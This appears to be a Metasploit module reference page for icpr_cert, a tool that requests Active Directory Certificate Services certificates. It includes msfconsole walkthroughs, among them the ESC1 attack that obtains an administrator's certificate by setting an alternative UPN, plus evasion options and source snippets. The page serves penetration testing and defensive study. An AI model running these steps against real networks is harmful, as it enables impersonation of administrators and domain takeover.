ICPR Certificate Management - Metasploit


This page contains detailed information about how to use the auxiliary/admin/dcerpc/icpr_cert metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
hide

Module Overview

Name: ICPR Certificate Management
Module: auxiliary/admin/dcerpc/icpr_cert
Source code: modules/auxiliary/admin/dcerpc/icpr_cert.rb
Disclosure date: -
Last modification time: 2022-08-25 08:49:52 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: microsoft-ds, netbios-ssn
Target network port(s): 139, 445
List of CVEs: -

Request certificates via MS-ICPR (Active Directory Certificate Services). Depending on the certificate template's configuration the resulting certificate can be used for various operations such as authentication. PFX certificate files that are saved are encrypted with a blank password.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Side Effects:

  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).

Basic Usage

msf > use auxiliary/admin/dcerpc/icpr_cert
msf auxiliary(icpr_cert) > show targets
    ... a list of targets ...
msf auxiliary(icpr_cert) > set TARGET target-id
msf auxiliary(icpr_cert) > show options
    ... show and set options ...
msf auxiliary(icpr_cert) > exploit

Required Options

  • RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

  • CA: The target certificate authority

Knowledge Base

Vulnerable Application

Request certificates via MS-ICPR (Active Directory Certificate Services). Depending on the certificate template's configuration the resulting certificate can be used for various operations such as authentication. PFX certificate files that are saved are encrypted with a blank password.

Verification Steps

  1. From msfconsole
  2. Do: use auxiliary/admin/dcerpc/icpr_cert
  3. Set the CA, RHOSTS, SMBUser and SMBPass options
  4. Run the module and see that a new certificate was issued or submitted

Options

CA

The target certificate authority. The default value used by AD CS is $domain-DC-CA.

CERT_TEMPLATE

The certificate template to issue, e.g. "User".

ALT_DNS

Alternative DNS name to specify in the certificate. Useful in certain attack scenarios.

ALT_UPN

Alternative User Principal Name (UPN) to specify in the certificate. Useful in certain attack scenarios. This is in the format $username@$dnsDomainName.

Actions

REQUEST_CERT

Request a certificate. The certificate PFX file will be stored on success. The certificate file's password is blank.

Scenarios

Obtaining Configuration Values

For this module to work, it's necessary to know the name of a CA and certificate template. These values can be obtained by a normal user via LDAP.

msf6 > use auxiliary/gather/ldap_query 
msf6 auxiliary(gather/ldap_query) > set BIND_DN [email protected]
BIND_DN => [email protected]
msf6 auxiliary(gather/ldap_query) > set BIND_PW Password1!
BIND_PW => Password1!
msf6 auxiliary(gather/ldap_query) > set ACTION ENUM_ADCS_CAS 
ACTION => ENUM_ADCS_CAS
msf6 auxiliary(gather/ldap_query) > run
[*] Running module against 192.168.159.10

[+] Successfully bound to the LDAP server!
[*] Discovering base DN automatically
[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local
CN=msflab-DC-CA CN=Enrollment Services CN=Public Key Services CN=Services CN=Configuration DC=msflab DC=local
=============================================================================================================

 Name                  Attributes
 ----                  ----------
 cacertificatedn       CN=msflab-DC-CA, DC=msflab, DC=local
 certificatetemplates  ESC1-Test || Workstation || ClientAuth || DirectoryEmailReplication || DomainControllerAuthentication || KerberosAuthentication || EFSRecovery || EFS || DomainController || WebServer || Machine || User || SubCA |
                       | Administrator
 cn                    msflab-DC-CA
 dnshostname           DC.msflab.local
 name                  msflab-DC-CA

[*] Auxiliary module execution completed
msf6 auxiliary(gather/ldap_query) >

Issue A Generic Certificate

In this scenario, an authenticated user issues a certificate for themselves using the User template which is available by default. The user must know the CA name, which in this case is msflab-DC-CA.

msf6 > use auxiliary/admin/dcerpc/icpr_cert 
msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 192.168.159.10
RHOSTS => 192.168.159.10
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser aliddle
SMBUser => aliddle
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass Password1!
SMBPass => Password1!
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA msflab-DC-CA
CA => msflab-DC-CA
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE User
CERT_TEMPLATE => User
msf6 auxiliary(admin/dcerpc/icpr_cert) > run
[*] Running module against 192.168.159.10

[*] 192.168.159.10:445 - Connecting to ICertPassage (ICPR) Remote Protocol
[*] 192.168.159.10:445 - Binding to \cert...
[+] 192.168.159.10:445 - Bound to \cert
[*] 192.168.159.10:445 - Requesting a certificate...
[+] 192.168.159.10:445 - The requested certificate was issued.
[*] 192.168.159.10:445 - Certificate UPN: [email protected]
[*] 192.168.159.10:445 - Certificate SID: S-1-5-21-3402587289-1488798532-3618296993-1106
[*] 192.168.159.10:445 - Certificate stored at: /home/smcintyre/.msf4/loot/20220824125053_default_unknown_windows.ad.cs_545696.pfx
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/icpr_cert) >

Issue A Certificate With A Specific subjectAltName (AKA ESC1)

In this scenario, an authenticated user exploits a misconfiguration allowing them to issue a certificate for a different User Principal Name (UPN), typically one that is an administrator. Exploiting this misconfiguration to specify a different UPN effectively issues a certificate that can be used to authenticate as another user.

The user must know:

  • A vulnerable certificate template, in this case ESC1-Test.
  • The UPN of a target account, in this case [email protected].

See Certified Pre-Owned section on ESC1 for more information.

msf6 > use auxiliary/admin/dcerpc/icpr_cert 
msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 192.168.159.10
RHOSTS => 192.168.159.10
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser aliddle
SMBUser => aliddle
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass Password1!
SMBPass => Password1!
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA msflab-DC-CA
CA => msflab-DC-CA
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC1-Test
CERT_TEMPLATE => ESC1-Test
msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN [email protected]
ALT_UPN => [email protected]
msf6 auxiliary(admin/dcerpc/icpr_cert) > run
[*] Running module against 192.168.159.10

[*] 192.168.159.10:445 - Connecting to ICertPassage (ICPR) Remote Protocol
[*] 192.168.159.10:445 - Binding to \cert...
[+] 192.168.159.10:445 - Bound to \cert
[*] 192.168.159.10:445 - Requesting a certificate...
[+] 192.168.159.10:445 - The requested certificate was issued.
[*] 192.168.159.10:445 - Certificate UPN: [email protected]
[*] 192.168.159.10:445 - Certificate stored at: /home/smcintyre/.msf4/loot/20220824125859_default_unknown_windows.ad.cs_829589.pfx
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/icpr_cert) >

Go back to menu.

Msfconsole Usage

Here is how the admin/dcerpc/icpr_cert auxiliary module looks in the msfconsole:

msf6 > use auxiliary/admin/dcerpc/icpr_cert

msf6 auxiliary(admin/dcerpc/icpr_cert) > show info

       Name: ICPR Certificate Management
     Module: auxiliary/admin/dcerpc/icpr_cert
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Oliver Lyak
  Spencer McIntyre

Module side effects:
 ioc-in-logs

Available actions:
  Name          Description
  ----          -----------
  REQUEST_CERT  Request a certificate

Check supported:
  No

Basic options:
  Name           Current Setting  Required  Description
  ----           ---------------  --------  -----------
  ALT_DNS                         no        Alternative certificate DNS
  ALT_UPN                         no        Alternative certificate UPN
  CA                              yes       The target certificate authority
  CERT_TEMPLATE  User             yes       The certificate template
  RHOSTS                          yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT          445              yes       The target port (TCP)
  SMBDomain      .                no        The Windows domain to use for authentication
  SMBPass                         no        The password for the specified username
  SMBUser                         no        The username to authenticate as

Description:
  Request certificates via MS-ICPR (Active Directory Certificate 
  Services). Depending on the certificate template's configuration the 
  resulting certificate can be used for various operations such as 
  authentication. PFX certificate files that are saved are encrypted 
  with a blank password.

Module Options

This is a complete list of options available in the admin/dcerpc/icpr_cert auxiliary module:

msf6 auxiliary(admin/dcerpc/icpr_cert) > show options

Module options (auxiliary/admin/dcerpc/icpr_cert):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   ALT_DNS                         no        Alternative certificate DNS
   ALT_UPN                         no        Alternative certificate UPN
   CA                              yes       The target certificate authority
   CERT_TEMPLATE  User             yes       The certificate template
   RHOSTS                          yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT          445              yes       The target port (TCP)
   SMBDomain      .                no        The Windows domain to use for authentication
   SMBPass                         no        The password for the specified username
   SMBUser                         no        The username to authenticate as

Auxiliary action:

   Name          Description
   ----          -----------
   REQUEST_CERT  Request a certificate

Advanced Options

Here is a complete list of advanced options supported by the admin/dcerpc/icpr_cert auxiliary module:

msf6 auxiliary(admin/dcerpc/icpr_cert) > show advanced

Module advanced options (auxiliary/admin/dcerpc/icpr_cert):

   Name                     Current Setting    Required  Description
   ----                     ---------------    --------  -----------
   CHOST                                       no        The local client address
   CPORT                                       no        The local client port
   ConnectTimeout           10                 yes       Maximum number of seconds to establish a TCP connection
   DCERPC::ReadTimeout      10                 yes       The number of seconds to wait for DCERPC responses
   NTLM::SendLM             true               yes       Always send the LANMAN response (except when NTLMv2_session is specified)
   NTLM::SendNTLM           true               yes       Activate the 'Negotiate NTLM key' flag, indicating the use of NTLM responses
   NTLM::SendSPN            true               yes       Send an avp of type SPN in the ntlmv2 client blob, this allows authentication on Windows
                                                          7+/Server 2008 R2+ when SPN is required
   NTLM::UseLMKey           false              yes       Activate the 'Negotiate Lan Manager Key' flag, using the LM key when the LM response is
                                                         sent
   NTLM::UseNTLM2_session   true               yes       Activate the 'Negotiate NTLM2 key' flag, forcing the use of a NTLMv2_session
   NTLM::UseNTLMv2          true               yes       Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key is true
   Proxies                                     no        A proxy chain of format type:host:port[,type:host:port][...]
   SMB::AlwaysEncrypt       true               yes       Enforces encryption even if the server does not require it (SMB3.x only). Note that when
                                                          it is set to false, the SMB client will still encrypt the communication if the server r
                                                         equires it
   SMB::ChunkSize           500                yes       The chunk size for SMB segments, bigger values will increase speed but break NT 4.0 and
                                                         SMB signing
   SMB::Native_LM           Windows 2000 5.0   yes       The Native LM to send during authentication
   SMB::Native_OS           Windows 2000 2195  yes       The Native OS to send during authentication
   SMB::ProtocolVersion     1,2,3              yes       One or a list of coma-separated SMB protocol versions to negotiate (e.g. "1" or "1,2" or
                                                          "2,3,1")
   SMB::VerifySignature     false              yes       Enforces client-side verification of server response signatures
   SMBDirect                true               no        The target port is a raw SMB service (not NetBIOS)
   SMBName                  *SMBSERVER         yes       The NetBIOS hostname (required for port 139 connections)
   SSL                      false              no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                                   no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLServerNameIndication                     no        SSL/TLS Server Name Indication (SNI)
   SSLVerifyMode            PEER               no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion               Auto               yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Acce
                                                         pted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   VERBOSE                  false              no        Enable detailed status messages
   WORKSPACE                                   no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the admin/dcerpc/icpr_cert module can do:

msf6 auxiliary(admin/dcerpc/icpr_cert) > show actions

Auxiliary actions:

   Name          Description
   ----          -----------
   REQUEST_CERT  Request a certificate

Evasion Options

Here is the full list of possible evasion options supported by the admin/dcerpc/icpr_cert auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(admin/dcerpc/icpr_cert) > show evasion

Module evasion options:

   Name                             Current Setting  Required  Description
   ----                             ---------------  --------  -----------
   DCERPC::fake_bind_multi          true             no        Use multi-context bind calls
   DCERPC::fake_bind_multi_append   0                no        Set the number of UUIDs to append the target
   DCERPC::fake_bind_multi_prepend  0                no        Set the number of UUIDs to prepend before the target
   DCERPC::max_frag_size            4096             yes       Set the DCERPC packet fragmentation size
   DCERPC::smb_pipeio               rw               no        Use a different delivery method for accessing named pipes (Accepted: rw, trans)
   SMB::obscure_trans_pipe_level    0                yes       Obscure PIPE string in TransNamedPipe (level 0-3)
   SMB::pad_data_level              0                yes       Place extra padding between headers and data (level 0-3)
   SMB::pad_file_level              0                yes       Obscure path names used in open/create (level 0-3)
   SMB::pipe_evasion                false            yes       Enable segmented read/writes for SMB Pipes
   SMB::pipe_read_max_size          1024             yes       Maximum buffer size for pipe reads
   SMB::pipe_read_min_size          1                yes       Minimum buffer size for pipe reads
   SMB::pipe_write_max_size         1024             yes       Maximum buffer size for pipe writes
   SMB::pipe_write_min_size         1                yes       Minimum buffer size for pipe writes
   TCP::max_send_size               0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay                  0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Unable to authenticate ([<E.CLASS>] <E>).

Here is a relevant code snippet related to the "Unable to authenticate ([<E.CLASS>] <E>)." error message:

77:	    end
78:	
79:	    begin
80:	      smb_login
81:	    rescue Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError => e
82:	      fail_with(Failure::NoAccess, "Unable to authenticate ([#{e.class}] #{e}).")
83:	    end
84:	    report_service(
85:	      host: rhost,
86:	      port: rport,
87:	      host_name: simple.client.default_name,

Unable to connect to the remote IPC$ share ([<E.CLASS>] <E>).

Here is a relevant code snippet related to the "Unable to connect to the remote IPC$ share ([<E.CLASS>] <E>)." error message:

91:	    )
92:	
93:	    begin
94:	      @tree = simple.client.tree_connect("\\\\#{sock.peerhost}\\IPC$")
95:	    rescue RubySMB::Error::RubySMBError => e
96:	      fail_with(Failure::Unreachable, "Unable to connect to the remote IPC$ share ([#{e.class}] #{e}).")
97:	    end
98:	
99:	    begin
100:	      @icpr = connect_icpr
101:	    rescue RubySMB::Error::UnexpectedStatusCode => e

Connection failed (AD CS was not found)

Here is a relevant code snippet related to the "Connection failed (AD CS was not found)" error message:

99:	    begin
100:	      @icpr = connect_icpr
101:	    rescue RubySMB::Error::UnexpectedStatusCode => e
102:	      if e.status_code == ::WindowsError::NTStatus::STATUS_OBJECT_NAME_NOT_FOUND
103:	        # STATUS_OBJECT_NAME_NOT_FOUND will be the status if Active Directory Certificate Service (AD CS) is not installed on the target
104:	        fail_with(Failure::NotFound, 'Connection failed (AD CS was not found)')
105:	      end
106:	
107:	      elog(e.message, error: e)
108:	      fail_with(Failure::UnexpectedReply, "Connection failed (unexpected status: #{e.status_name})")
109:	    end

Connection failed (unexpected status: <E.STATUS_NAME>)

Here is a relevant code snippet related to the "Connection failed (unexpected status: <E.STATUS_NAME>)" error message:

103:	        # STATUS_OBJECT_NAME_NOT_FOUND will be the status if Active Directory Certificate Service (AD CS) is not installed on the target
104:	        fail_with(Failure::NotFound, 'Connection failed (AD CS was not found)')
105:	      end
106:	
107:	      elog(e.message, error: e)
108:	      fail_with(Failure::UnexpectedReply, "Connection failed (unexpected status: #{e.status_name})")
109:	    end
110:	
111:	    send("action_#{action.name.downcase}")
112:	  rescue RubySMB::Dcerpc::Error::FaultError => e
113:	    elog(e.message, error: e)

Operation failed (DCERPC fault: <E.STATUS_NAME>)

Here is a relevant code snippet related to the "Operation failed (DCERPC fault: <E.STATUS_NAME>)" error message:

109:	    end
110:	
111:	    send("action_#{action.name.downcase}")
112:	  rescue RubySMB::Dcerpc::Error::FaultError => e
113:	    elog(e.message, error: e)
114:	    fail_with(Failure::UnexpectedReply, "Operation failed (DCERPC fault: #{e.status_name})")
115:	  rescue RubySMB::Dcerpc::Error::DcerpcError => e
116:	    elog(e.message, error: e)
117:	    fail_with(Failure::UnexpectedReply, e.message)
118:	  rescue RubySMB::Error::RubySMBError
119:	    elog(e.message, error: e)

The requested certificate was submitted for review.

Here is a relevant code snippet related to the "The requested certificate was submitted for review." error message:

143:	    )
144:	    case response[:status]
145:	    when :issued
146:	      print_good('The requested certificate was issued.')
147:	    when :submitted
148:	      print_warning('The requested certificate was submitted for review.')
149:	    else
150:	      print_error('There was an error while requesting the certificate.')
151:	      print_error(response[:disposition_message].strip.to_s) unless response[:disposition_message].blank?
152:	      return
153:	    end

There was an error while requesting the certificate.

Here is a relevant code snippet related to the "There was an error while requesting the certificate." error message:

145:	    when :issued
146:	      print_good('The requested certificate was issued.')
147:	    when :submitted
148:	      print_warning('The requested certificate was submitted for review.')
149:	    else
150:	      print_error('There was an error while requesting the certificate.')
151:	      print_error(response[:disposition_message].strip.to_s) unless response[:disposition_message].blank?
152:	      return
153:	    end
154:	
155:	    if (upn = get_cert_msext_upn(response[:certificate]))

Go back to menu.

Go back to menu.

See Also

Check also the following modules related to this module:

Authors

  • Oliver Lyak
  • Spencer McIntyre

Version

This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.